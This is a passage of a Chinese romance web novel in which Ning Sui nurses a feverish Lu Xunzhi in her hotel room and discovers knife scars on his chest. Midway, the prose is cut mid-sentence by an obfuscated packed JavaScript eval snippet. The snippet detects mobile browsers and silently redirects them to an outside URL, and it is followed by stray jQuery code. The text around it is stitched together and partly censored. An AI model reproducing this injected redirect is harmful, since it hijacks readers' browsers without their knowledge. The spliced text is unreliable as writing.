陆勋之的脸埋进宁穗颈窝的时候,她突然感受到滚烫的温度。
他在发烧,温度很高。
宁穗下意识地扶住他,往屋里带。
男人还有一丝意识,但大部分的重量都压在她身上,宁穗走得踉踉跄跄,好不容易才将他扶到床上躺下。
陆勋之抬手挡在眼前,摆成个大字躺在床上。
宁穗犯难,死沉死沉的,她也弄不走他了。
“我给你叫120吧。”宁穗说着拿起手机,刚点了一个数字。
听到陆勋之比通话时候更沙哑的声音说:“不用。你说完我就走。”
宁穗,“……”
他这个样子,可不像是能走的。
但人都来了,宁穗硬着头皮,坐在床边,尽量心平气和地说:“你现在清醒吗?”
别等她说完,第二天他又说不记得,不认账。
陆勋之很低地嗯了一声。
宁穗深吸气,“陆勋之,你想对我怎么样,随便你。但是你别欺负陆闻之,要不是他,我可能……五年前就**。”
男人却意味不明地哼了一声,“你怎么知道,五年前不是他一手策划的?”
“我觉得你挺好笑的。”宁穗被气到,“以前我说宋姜,说你妈,还有你妹妹陆思思,哦,她现在不姓陆了。你总是不信,在你眼里,人不会那么坏,更何况是你的亲人朋友。可现在你却这么揣测自己的亲弟弟。”
“你就这么护着他?”陆勋之缓缓放下手,没什么精气神的眼睛,不知道是因为病,还是因为别的,红得有些吓人。
宁穗唇角抿成直线。
陆勋之了然地点点头,“也对,你们现在有情有义,还有个可爱的女儿。”
宁穗,“……”
这语气,怎么都觉得怪怪的。
宁穗轻轻叹了口气,既然提到了悠悠,宁穗干脆将错就错,“你也知道我们有个女儿,你就不要再掺和我们的事了,行吗?你现在把我的身份公开出来,那悠悠怎么办?叫你什么?大伯,还是爸爸?”
心里对悠悠道了歉,对不起啊,妈妈不是故意利用你。
但她是真的没招了。
这句话成功让陆勋之的苍白的脸色黑了下来。
他两颊绷得紧紧的,冷不丁笑出声,“宁穗,你真是好样的。”
他肺都快气炸了。
说着,他又挡上了眼睛,物理隔断两人的交流。
宁穗突然有种拳头打在棉花上的无力感。
她现在骂人,是不是有点太**病人?
生气,真的生气。
宁穗起身,气哄哄地走出房间。
刚走出去两步,看着自己还穿着酒店里的一次性拖鞋,顿时反过味儿来。
凭什么啊?
明明是她自己花钱住的酒店,现在凭什么让给陆勋之?
他是住不起酒店吗?
他明明在这里有自己的长包房。
宁穗越想越觉得不对,她拿出手机拨了一通电话出去。
陆治之接得很快,宁穗照例说自己是沈瑜。
那头陆治之语气倒是不像平时那么客套,反而多了几分熟稔,“嫂子,你说的情况我知道了。我哥暂时死不了。”
“……”
“但是也得麻烦嫂子你给他找点药吃,也不能真让他**。”
“……”
“你知道的,要不是我哥在这顶着,爷爷就要抓我回去继承家业了。我的理想可是妙手仁心。就这样,辛苦你了,嫂子,加油!”
“……”
宁穗张了张嘴,都没机会拒绝,就被陆治之莫名其妙地给劝服了。
确切地说,是单方面通知。
宁穗看着被挂断的电话,气笑了。
后知后觉,陆治之大概知道她的身份了。
那句嫂子,叫得就不同寻常。
宁穗懒得多想,她去了一趟前台,要了退烧药,又折返回自己的房间。
陆勋之翻了身,侧卧着蜷缩成一团,还在微微发抖。
看样子烧得不轻。
她抿了抿唇,走过去倒了热水,走过去,扶起他。
但他又高又大,又死沉死沉的。
宁穗根本扶不住他,只能将人抱在怀里,动作不怎么温柔的,给他塞了药。
然后她又把人丢回床上。
对,就是丢。
陆勋之睡得迷迷糊糊的,哼哼了两声,转身又睡了。
宁穗叹了口气。
硕大的床,陆勋之一趟,都没地方了。
她现在好后悔,刚才就不该给他开门。
可请神容易送神难。
宁穗叹了口气,转身去了沙发上。
好在沙发还算比较大,她蜷着腿,也能凑合一下。
宁穗拉了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102220|192554||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己的羽绒服当被子盖上,和衣躺下。
可睡了没一会儿,她听到床上那一大坨开始小声哼哼。
听上去好像很不好受。
宁穗叹了口气,起身走过去,拍他的肩膀,“陆勋之,你哪里难受?要不要给你叫车?”
男人没吭声,看样子像是被梦魇住了。
眉心皱出了疙瘩。
宁穗叹了一口气,一晚上都在叹气,都怪陆勋之,福气都快叹没了。
宁穗想骂脏话,狠狠瞪了陆勋之一眼。
没辙,又给陆治之打电话过去,那头听上去还没睡,语气是压抑着的,好像刚才在跟人吵架似的。
但对她还是很恭敬,“没事,嫂子,你拿温热的毛巾给我哥擦擦,降降温就好了。死不了。”
“……”
是死不了,可她现在想死。
不等宁穗说什么,那边传来女人哭诉的声音。
陆治之焦头烂额地哄了一句,“别哭了行不行?”随即又对宁穗说,“嫂子,我这还有点事,我先挂了哈。”
宁穗都没来得及说话。
她扭头看看床上那一大坨,使劲闭了闭眼睛,丢开手机,去了浴室。
再出来的时候,手中多了一块温热的毛巾。
宁穗冷着脸给陆勋之擦脸,擦脖子,又解开几个扣子,给他擦胸口。
他身上的伤疤再次暴露在她面前。
宁穗愣了愣。
上次看到的时候,她没当回事,没仔细看。
但这会儿离得近,细细看来,这伤口上去有点奇怪。
因为陆勋之是学医的,宁穗上学的时候成天跟着他泡图书馆,倒是也多多少少接触了一点医学知识。
这伤口看上去,像是刀伤。
还不浅。
不然不会留下疤痕。
宁穗数了数,七八道伤口。
刀刀都是致命的位置。
这是多大的仇恨啊。
宁穗眼睫颤动,唇角抿成直线,多大仇恨也跟她没关系,她才不关心。
余光一动,瞥见陆勋之半睁开眼睛,正在看着她。
宁穗冷了脸,“你醒了?叫人来把你接走,别占着我的——”床。
男人滚烫的手臂拉她入怀,沙哑的声音从头顶落下来,透着隐忍的痛意,“嗓子为什么会变成这样?是为了躲我,连嗓音都故意毁了吗?”